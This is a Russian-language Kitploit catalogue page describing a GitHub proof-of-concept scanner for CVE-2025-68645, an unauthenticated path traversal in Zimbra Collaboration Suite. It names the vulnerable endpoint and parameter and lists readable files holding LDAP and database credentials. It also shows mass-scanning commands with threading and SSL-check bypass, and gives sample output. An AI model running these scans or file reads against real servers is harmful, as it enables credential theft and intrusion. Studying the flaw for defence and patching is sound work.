Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Poc_CVE-2025-68645 — Zimbra Path Traversal (CVE-2025-68645) - Неаутентифицированная уязвимость чтения файлов в Zimbra Collaboration Suite | Kitploit
Инструменты/GitHubGitHub/harisaidhin/poc_cve-2025-68645
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubharisaidhin/poc_cve-2025-68645

Poc_CVE-2025-68645

Zimbra Path Traversal (CVE-2025-68645) - Неаутентифицированная уязвимость чтения файлов в Zimbra Collaboration Suite

Репозиторий
134 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-68645 - Уязвимость Path Traversal в Zimbra

Security CVE Python License Status

📋 Обзор

CVE-2025-68645 — это уязвимость обхода пути (path traversal) в Zimbra Collaboration Suite, которая позволяет неаутентифицированным злоумышленникам читать произвольные файлы из файловой системы сервера.

Уязвимая конечная точка

/h/printconversations?javax.servlet.include.servlet_path=

🎯 Воздействие

ВоздействиеСерьёзность
Чтение файлов без аутентификации🔴 Высокая
Раскрытие конфигурации🔴 Высокая
Утечка учётных данных🔴 Высокая
Сканирование внутренней сети🟠 Средняя

📁 Читаемые файлы

ПутьРаскрываемая информация
/WEB-INF/web.xmlСопоставления сервлетов, ограничения безопасности
/WEB-INF/zcs.web.xmlКонфигурация, специфичная для Zimbra
/opt/zimbra/conf/localconfig.xmlУчётные данные LDAP, пароли баз данных
/opt/zimbra/conf/ldap-config.xmlКонфигурация LDAP-сервера
/opt/zimbra/conf/attrs/zimbra-attrs.xmlСистемные атрибуты
/WEB-INF/classes/logging.propertiesКонфигурация журналирования

🚀 Использование

Сканирование одной цели

python CVE-2025-68645.py.py -t https://target.zimbra.com

Массовое сканирование

python CVE-2025-68645.py.py -l targets.txt -o results.json --threads 20

Расширенные параметры

python CVE-2025-68645.py.py -t https://target.zimbra.com -v --timeout 30

📊 Аргументы командной строки

Аргумент Описание По умолчанию -t, --target URL одной цели None -l, --list Файл со списком целей None -o, --output Имя выходного файла results.json --threads Количество одновременных потоков 10 --timeout Таймаут запроса в секундах 15 -v, --verbose Включить подробный вывод False --no-verify Отключить проверку SSL False --read-all Читать все чувствительные пути False

📸 Пример вывода

[*] Сканирование: https://target.zimbra.local [✓] УЯЗВИМА: https://target.zimbra.local [+] Извлечённая конфигурация: version: 220726130125 memcached: target.local:11211 httpsPort: 8443 httpPort: 8080 [+] Найдено: /WEB-INF/web.xml [+] Найдено: /opt/zimbra/conf/localconfig.xml [!] Возможная утечка учётных данных в /WEB-INF/web.xml

============================================================ СКАНИРОВАНИЕ ЗАВЕРШЕНО! Прошло времени: 1.02 секунды Всего целей: 1 Уязвимо: 1 Не уязвимо: 0

Скачать инструмент